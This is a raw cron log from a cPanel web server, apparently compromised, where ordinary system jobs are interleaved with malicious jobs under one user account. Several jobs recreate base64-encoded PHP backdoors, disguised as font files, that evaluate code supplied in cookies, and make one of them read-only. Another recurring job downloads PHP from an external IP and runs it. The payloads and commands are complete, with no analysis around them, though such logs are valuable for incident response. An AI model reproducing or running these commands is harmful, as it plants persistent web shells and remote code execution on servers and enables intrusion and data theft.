Sep  9 04:23:01 ip-184-168-122-23 CROND[10420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:23:01 ip-184-168-122-23 CROND[10418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:23:01 ip-184-168-122-23 CROND[10419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:24:01 ip-184-168-122-23 CROND[10498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:24:01 ip-184-168-122-23 CROND[10500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:24:01 ip-184-168-122-23 CROND[10504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:24:01 ip-184-168-122-23 CROND[10502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:24:01 ip-184-168-122-23 CROND[10505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10594]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:25:01 ip-184-168-122-23 CROND[10592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:25:01 ip-184-168-122-23 CROND[10593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:26:02 ip-184-168-122-23 CROND[10793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:26:02 ip-184-168-122-23 CROND[10795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:26:02 ip-184-168-122-23 CROND[10796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:26:02 ip-184-168-122-23 CROND[10798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:26:02 ip-184-168-122-23 CROND[10797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:27:01 ip-184-168-122-23 CROND[11120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:27:01 ip-184-168-122-23 CROND[11123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:27:01 ip-184-168-122-23 CROND[11127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:27:01 ip-184-168-122-23 CROND[11130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:28:01 ip-184-168-122-23 CROND[11325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:28:01 ip-184-168-122-23 CROND[11324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:28:01 ip-184-168-122-23 CROND[11326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:28:01 ip-184-168-122-23 CROND[11327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:28:01 ip-184-168-122-23 CROND[11328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:29:01 ip-184-168-122-23 CROND[11419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:29:01 ip-184-168-122-23 CROND[11422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:29:01 ip-184-168-122-23 CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:29:01 ip-184-168-122-23 CROND[11423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11543]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:30:01 ip-184-168-122-23 CROND[11546]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:30:01 ip-184-168-122-23 CROND[11545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:30:01 ip-184-168-122-23 CROND[11549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:31:01 ip-184-168-122-23 CROND[11740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:31:01 ip-184-168-122-23 CROND[11742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:31:01 ip-184-168-122-23 CROND[11743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:31:01 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:31:01 ip-184-168-122-23 CROND[11745]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:32:01 ip-184-168-122-23 CROND[11878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:32:01 ip-184-168-122-23 CROND[11880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:32:01 ip-184-168-122-23 CROND[11881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:32:01 ip-184-168-122-23 CROND[11883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:32:01 ip-184-168-122-23 CROND[11882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:33:01 ip-184-168-122-23 CROND[11992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:33:01 ip-184-168-122-23 CROND[11994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:33:01 ip-184-168-122-23 CROND[11995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:33:01 ip-184-168-122-23 CROND[11996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:34:01 ip-184-168-122-23 CROND[12105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:34:01 ip-184-168-122-23 CROND[12106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:34:01 ip-184-168-122-23 CROND[12107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:34:01 ip-184-168-122-23 CROND[12104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:34:01 ip-184-168-122-23 CROND[12108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:35:01 ip-184-168-122-23 CROND[12231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:35:01 ip-184-168-122-23 CROND[12238]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
